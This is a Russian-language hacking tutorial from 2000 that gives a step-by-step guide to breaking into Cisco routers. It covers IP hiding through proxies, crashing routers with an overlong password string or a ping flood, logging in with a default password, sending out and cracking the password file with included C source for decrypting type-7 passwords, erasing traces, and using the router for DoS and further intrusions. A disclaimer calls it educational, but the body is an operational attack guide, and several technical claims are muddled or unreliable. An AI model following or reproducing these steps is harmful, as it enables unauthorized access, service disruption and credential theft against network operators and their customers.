Взлом системы Cisco Автор: GooDWiNДата: 02-10-2000 15:57:45©Написано Cyvamp`ом(с некоторыми добавлениями Raven`а) Июль 2000http://blacksun.box.skВнимание: НЕ ИСПОЛЬЗУЙТЕ это для повреждения системы cisco, или получения несанкционированного доступа к системам. Эта консультация для использования в образовательных целях. Используйте эту информацию только легально (в публичных испытаниях нового сервера, например), не повреждайте и не уничтожайте ничего. Это пошаговое руководство, показывающее как, при помощи эксплоита для cisco получить доступ. Если вы перехватываете пакеты в маршрутизаторе cisco, или подвешиваете систему, вы можете прервать сотням клиентов доступ в internet и нанести ущерб в тысячи долларов, так что используйте это только с разрешения!! Использование этой информации неправильным путем доставит вам массу проблем.Примечание: некоторые части этой консультации были записаны на Unix`е, и текст может не преобразоваться в DOS/Windows-совместимый формат, так что просматривайте этот текст либо в своем Internet-броузере, либо в более передовом редакторе, типа Microsoft Word.ОГЛАВЛЕНИЕ:Прежде, чем начать:- Что такое IP-адрес?- Что такое ISP?- Что такое TCP/IP-пакет?- Как подменить свой IP- Как использовать Telnet- Как использовать HyperTerminal- Как использовать Ping- Как использовать TraceRoute- Как использовать proxy-сервер- Секция 1: зачем взламывать маршрутизатор cisco?- Секция 2: как обнаружить маршрутизатор cisco - Секция 3: как взломать cisco- Секция 4: как cломать файл паролей- Секция 5: как пользоваться маршрутизатором cisco ^ Этот материал вам понадобится ПРЕЖДЕ чем вы начнете:Что такое IP-адрес?IP расшифровывается как Internet Протокол, IP-адреса используются компьютерами, для идентификации компьютеров, подключающихся к ним. Именно благодаря им вы можете банить из IRC, благодаря им, кто-то может узнать, кто ваш ISP. IP-адреса легко вычисляются, их можно определить, используя следующие методы:-когда вы заходите на сайт, ваш IP логируется-на IRC, любой может узнать ваш IP-в ICQ, люди могут узнать ваш IP, даже если в настройках стоит "не показывать реальный ip", они все равно могут его узнать-если вы куда-нибудь подключились, они могут набрать "systat", и узнать, кто к ним подключился -если кто-нибудь шлет вам письмо с java-апплетом, логирующим IP, они так же могут узнать ваш IP-адресСуществует еще огромное количество путей получения IP-адресов, включая использование программ-бэкдоров, таких как, например, Sub7 или NetBus.Что такое ISP?ISP расшифровывается как Поставщик Услуг Internet, это те, кто дает вам доступ в internet. Вы соединяетесь с одним из них, путем набора телефонного номера, и создаете соединение. Люди могут узнать вашего ISP просто запустив на вас traceroute (traceroute объясняется позже). Это выглядит приблизительно так:tracert 222.222.22.22Трассировка маршрута к [221.223.24.54] с максимальным числом переходов 30.1 147ms 122ms 132ms ваш.isp [222.222.22.21]2 122ms 143ms 123ms isp.firewall [222.222.22.20]3 156ms 142MS 122ms aol.com [207.22.44.33]4 * * * Request timed out5 101ms 102ms 133ms cisco.router [194.33.44.33]6 233ms 143ms 102ms something.ip [111.11.11.11]7 222ms 123ms 213ms netcom.com [122.11.21.21]8 152ms 211ms 212ms blahblah.tts.net [121.21.21.33]9 122ms 223ms 243ms altavista.34.com [121.22.32.43] 10 101ms 122ms 132ms 221.223.24.54.altavista.34.com [221.223.24.54] Трассировка завершена.Что такое TCP/IP-пакет?TCP/IP расшифровывается как Протокол Управления Передачей/Internet Протокол, TCP/IP-пакет представляет собой сжатый блок данных, содержащий в заголовке адрес компьютера, которому он адресован. ВСЕ передачи internet, происходят посылкой пакетов. Заголовок пакета содержит в себе IP-адрес отправителя. Вы можете перезаписать пакет и заставить его показывать поддельный IP-адрес отправителя!! Вы можете воспользоваться этим для получения доступа к массе систем, и в то же время не быть пойманным. Вам понадобится запустить Linux или обзавестись программой, которая позволит вам это сделать. В этой консультации не говорится о том, что это нужно делать именно в маршрутизаторе Cisco, это может оказаться полезным при взломе любой системы. Если что-то не получается, когда вы пытаетесь взломать систему, вы всегда можете попробовать этот способ...Как подменить свой IP:Найдите программу, подобную Genius 2 или DC IS, которая позволяла бы вам запустить IdentD. Это позволит вам заменить часть компьютерной информации по желанию! Используйте это, когда вы хотите кого-нибудь забанить на канале IRC... вы можете получить на это право! Вы также можете использовать это, когда вы пытаетесь получить доступ к удаленной системе, так что она залогирует неправильный id...Как использовать telnet:Вы можете запустить telnet просто зайдя в меню Пуск, затем Выполнить, и введя "telnet". Как только вы запустите telnet, вы возможно захотите изменить некоторые характеристики. Кликните на Терминал>Параметры. Здесь вы можете изменить размер буфера, шрифт, и свои настройки. Вы также можете включить/выключить "отображение ввода", если вы включите отображение ввода, то ваш компьютер будет отображать все, что вы набираете, и все, что отвечает вам удаленная система. Итак, у вас может получиться приблизительно это:Вы набираете "hello", и получаете hhelelolloДело в том, что информация отправилась и смешалась с набранным. Единственное, что я уточню, если машина НЕ возвращает то, что вы набирали. По умолчанию, telnet соединяется с системой через telnet-порт, это 23 порт. Теперь вы не всегда будете иметь желание подключаться через 23 порт, когда вы хотите соединиться, вы можете изменить порт соединения на 25, это порт почтовых серверов. Или может быть 21 порт, для FTP. Имеются тысячи портов, так что вам решать, какой из них выбрать!Как использовать HyperTerminal:HyperTerminal позволяет вам открывать "сервер" на любом из портов вашего компьютера для получения информации от определенных компьютеров. Для его запуска зайдите в Пуск>Программы> Стандартные>Связь>HyperTerminal. Для начала вам потребуется выбрать соединение, выберите "TCP/IP Winsock", затем введите компьютер, с которым надо связаться, и номер порта. В нем укажите Связь>Ждать звонка. Теперь, другой компьютер может соединиться через этот порт, и вы можете общаться и передавать друг другу файлы.Как использовать Ping:Ping это легко, просто откройте Сеанс MS-DOS, и наберите "ping ip.адрес", по умолчанию ping пошлет 3 пакета, но вы можете набрать "ping ip.адрес -t". Это делает ping непрекращаемым. Чтобы изменить размер пакета ping, наберите : "ping -l (размер) ip.адрес". Что делает ping - он шлет пакет данных компьютеру, затем смотрит сколько их вернулось, определяя скорость связи между компьютерами, и время, которое ему требуется на прием и обратную отправку пакета (это называется "trip time"). Ping также может использоваться для замедления или даже разрушения системы, если система перегрузится из-за потока ping`а. Windows 98 вылетает после одной минуты пингфлудинга (это называется переполнение буфера - когда поступает слишком большое количество запросов, Windows решает брать небольшой отпуск). Для атаки пингфлудинг требуется большая ширина полосы частот, то есть вы должны занять ширину полосы частот, большую, чем ваша цель (если ваша цель - Windows 98 и у вас есть средненький модем, то время, в течение которого вам придется ее пинговать, приблизительно одна минута). Пингфлудинг не эффективен против сильных целей, но если вы используете несколько сессий пинга одновременно и контролируете несколько полос частот хозяев, то вы также можете зафлудить вашу цель. Примечание: DOS'овская опция -t не создает пингфлудинга, эти пинги продолжаются с интервалами от одного ping`а к другому. В любом дистрибутиве Unix или Linux, вы можете использовать команду ping -f для создания реального флудинга. Как использовать TraceRoute:Для трассировки вашего соединения (просмотра всех компьютеров между вами и целью), просто откройте "Сеанс MS-DOS" и введите "tracert ip.адрес", вы увидите список всех компьютеров между вами и целью. Вы можете использовать это для определения наличия файрвола, блокирующего что-нибудь. Так же это позволит вам определить чей-нибудь ISP (поставщик услуг internet). Для определения ISP, просто посмотрите предпоследний IP-адрес, это должен быть один из маршрутизаторов ISP.Основной принцип работы traceroute - TCP/IP несет в заголовке величину (это в заголовке IP-пакета. Если вы не знаете, что это такое, просто проигнорируйте эту часть, это не критично), названную TTL, которая расшифровывается как Время Жизни Пакета. Всякий раз при проходе пакета (прохождении через маршрутизатор) величина TTL уменьшается на один. Это всего лишь мера предосторожности на случай, если что-то пойдет неправильно и пакет вынужден будет блуждать по всей сети, занимая таким образом ширину полосы частот. Итак, когда пакет TTL достигнет нуля, он уничтожится и ICMP отошлет его отправителю сообщение об ошибке. Теперь, traceroute шлет TTL-пакет со значением 1. Пакет быстро вернется на адрес отправителя с сообщением об ICMP-ошибке в заголовке, traceroute знает, откуда был совершен первый проход пакета. Затем он отсылает TTL-пакет со значением 2, и он возвращается после второго прохода. Так продолжается, пока он не достигнет расположения цели. Теперь это уже не так весело? :-)Как использовать proxy-сервер: Найдите в сети proxy-сервер, который позволяет работать с ним через любой порт. Как только найдете один, подключитесь к нему telnet`ом или hyperterminal`ом, потом соединитесь с любым другим компьютером через этот proxy-сервер. Благодаря этому, тот другой компьютер не узнает ваш IP-адрес.^ Секция 1: зачем взламывать маршрутизатор cisco?Странный вопрос... зачем взламывать маршрутизатор cisco? Причина - они полезны для перехвата пакетов между системами... Маршрутизаторы Cisco очень быстрые, некоторые с 18 T1 связями на каждой системе, они также очень гибкие и могут быть использованы для DoS-атак или для взлома множества других систем и доступа к ним telnet`ом. Также, через них постоянно проходят тысячи пакетов, которые могут быть перехвачены и декодированы... Также, многие системы доверяют маршрутизаторам cisco, поэтому у вас появятся определенные права доступа к компьютерам этой сети. ^ Секция 2: обнаружение маршрутизатора ciscoОбнаружение маршрутизатора cisco является довольно легкой задачей, почти каждый ISP проходит по крайней мере через один маршрутизатор cisco. Простейшим способом обнаружения маршрутизатора cisco является запуск traceroute из dos`а (введите "tracert" и затем IP-адрес какого-нибудь компьютера), вы можете проследить многие из них, поскольку trace покажет все компьютерные системы между вами и целью. Вероятно, одна из этих систем будет иметь имя "cisco". Если вы найдете один, подобный этому, ниже будет его IP-адрес. Теперь у вас есть адрес маршрутизатора, но он может быть защищен файрволом, вы это увидите, если ping будет блокироваться, но если значение ping`а вернулось к вам, значит оно не заблокировано. По-другому, вам надо попытаться соединиться с некоторыми портами маршрутизатора cisco, вы можете делать это просто используя telnet, и открывая соединение с маршрутизатором через 23 порт... Если он спросит только пароль, без имени пользователя, то вы в маршрутизаторе, но если спросит еще и имя пользователя, то вероятнее всего вы в файрволе. Попытайтесь найти маршрутизатор без файрвола, так как эта консультация рассказывает непосредственно о взломе маршрутизатора, а не файрвола. Как только вы будете уверены, что нашли подходящую систему, вам потребуется найти proxy-сервер, позволяющий использовать 23 порт, благодаря этому, ваш IP не будет логироваться маршрутизатором. ^ Секция 3: как вломиться в маршрутизатор ciscoМаршрутизаторы cisco, работающие на v4.1 (самая распространенная версия на данный момент) можно легко вывести из строя. Вы просто соединяетесь с маршрутизатором через proxy-сервер к порту 23, и вводите эту ОГРОМНУЮ строку пароля, приблизительно такую: 10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465 qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyals kdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncb v019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk1029 3847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwo eirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dskТеперь ждем, система cisco могла перезагрузиться и вы не сможете ее сломать пока она в оффлайне... Но она может и зависнуть на 2-10 минут, которые вы должны использовать для входа в нее. Но если ничего не произошло, значит она работает не на уязвимом программном обеспечении, в этом случае, вы можете попробовать совершить DoS-атаку, напоминающую огромный пинг. Зайдите в dos и наберите "ping -l 56550 ip.адрес.cisco. -t", произведет тот же самый эффект. Пока он завис, откройте другое соединение с ним через другой proxy, и введите пароль "admin", дело в том, что это пароль маршрутизатора по умолчанию, и пока он выведен из строя, можно проникнуть так. Теперь, когда вы зарегистрированы, вы должны получить файл паролей! Системы запускают другое программное обеспечение, но лучше будет прочитать подсказку, типа "htl-textil" или другую, теперь наберите "?" - вы увидите огромный список возможных команд, где-то там будет команда отправки файла, используйте это для получения файла паролей админа (он легальный пользователь) и пошлите его на ваш IP-адрес, на порт 23. Но прежде, чем вы это сделаете, вы должны будете открыть соединение, между HyperTerminal`ом и маршрутизатором cisco. Теперь, как только вы пошлете этот файл, HyperTerminal спросит вас, можно ли принять файл, который прислала эта машина, говорите да, и сохраняйте этот файл на диске. Выходите из системы. Вы преодолели труднейшую часть этого руководства, и теперь можете сами себя погладить по головке и настроиться на взлом этого файла паролей!^ Секция 4: взлом файла паролейТеперь, когда у вас есть файл паролей, вы должны взломать его так, чтобы вы могли иметь доступ к маршрутизатору постоянно. Чтобы сделать это, вы можете воспользоваться программой, подобной John the Ripper или какой-нибудь еще, натравив ее на файл паролей, так вы сможете узнать его. Это простейший метод, и метод, который я рекомендую лично. Другой путь - попытаться декодировать его. Для этого, вам понадобится некоторое программное обеспечение для расшифровки, много терпения и знание алгоритмов шифрования. Вот программа, для декодирования файла паролей cisco, это надо откомпилировать в linux:#include #include char xlat[] = {0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f,0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72,0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44};char pw_str1[] = "password 7 ";char pw_str2[] = "enable-password 7 ";char *pname;cdecrypt(enc_pw, dec_pw)char *enc_pw;char *dec_pw;{unsigned int seed, i, val = 0;if(strlen(enc_pw) & 1)return(-1);seed = (enc_pw[0] - '0') * 10 + enc_pw[1] - '0';if (seed > 15 || !isdigit(enc_pw[0]) || !isdigit(enc_pw[1]))return(-1);for (i = 2 ; i if(i !=2 && !(i & 1)) {dec_pw[i / 2 - 2] = val ^ xlat[seed++];val = 0;}val *= 16;if(isdigit(enc_pw[i] = toupper(enc_pw[i]))) {val += enc_pw[i] - '0';continue;}if(enc_pw[i] >= 'A' && enc_pw[i] val += enc_pw[i] - 'A' + 10;continue;}if(strlen(enc_pw) != i)return(-1);}dec_pw[++i / 2] = 0;return(0);}usage(){fprintf(stdout, "Usage: %s -p \n", pname);fprintf(stdout, " %s \n", pname);return(0);}main(argc,argv)int argc;char **argv;{FILE *in = stdin, *out = stdout;char line[257];char passwd[65];unsigned int i, pw_pos;pname = argv[0];if(argc > 1){if(argc > 3) {usage();exit(1);}if(argv[1][0] == '-'){switch(argv[1][1]) {case 'h':usage();break;case 'p':if(cdecrypt(argv[2], passwd)) {fprintf(stderr, "Error.\n");exit(1);}fprintf(stdout, "password: %s\n", passwd);break;default:fprintf(stderr, "%s: unknow option.", pname);}return(0);}if((in = fopen(argv[1], "rt")) == NULL)exit(1);if(argc > 2)if((out = fopen(argv[2], "wt")) == NULL)exit(1);}while(1) {for(i = 0; i if((line[i] = fgetc(in)) == EOF) {if(i)break;fclose(in);fclose(out);return(0);}if(line[i] == '\r')i--;if(line[i] == '\n')break;}pw_pos = 0;line[i] = 0;if(!strncmp(line, pw_str1, strlen(pw_str1)))pw_pos = strlen(pw_str1);if(!strncmp(line, pw_str2, strlen(pw_str2)))pw_pos = strlen(pw_str2);if(!pw_pos) {fprintf(stdout, "%s\n", line);continue;}if(cdecrypt(&line[pw_pos], passwd)) {fprintf(stderr, "Error.\n");exit(1);}else {if(pw_pos == strlen(pw_str1))fprintf(out, "%s", pw_str1);elsefprintf(out, "%s", pw_str2);fprintf(out, "%s\n", passwd);}}}Если у вас нет Linux`а, то единственный способ подобрать пароль - запустить грубую атаку по словарю,воспользовавшись программой John the Ripper, или другим взломщиком паролей. ^ Секция 5: использование маршрутизатораДля использования этой замечательной технологии, вы должны подключиться через proxy-сервер, если вы не хотите засветить свой IP. Как только вы зарегистрируетесь, вам потребуется удалить записи из лог-файла, так, чтобы никто не узнал о вашем присутствии в системе, введите "terminal history size 0". Теперь запись в лог-файл будет прекращена! Введите "?" для просмотра списка всех команд маршрутизатора, и вы сможете воспользоваться некоторыми из них. В этих маршрутизаторах обычно открыт telnet, поэтому вы можете использовать telnet для подключения к некоторым системам, (подобно unix-блокам) и взламывать в них все. Они также оснащены ping`ом и traceroute`ом, которые вы можете использовать для трассировки систем и проведения DoS-атак. Также вы можете использовать это, для перехвата и прерывания доставки пакетов, но я не советую этого делать, так как это не всегда будет срабатывать, и вас могут разоблачить...Если вы не сломаете cisco сразу же, не переживайте... вероятнее всего, что это не получится у вас сразу, в сию же секунду. Для этого требуется опыт и терпение. Здесь всего лишь описывается КАК это сделать... И убедитесь, что, то, что вы собираетесь сделать - ЗАКОННО.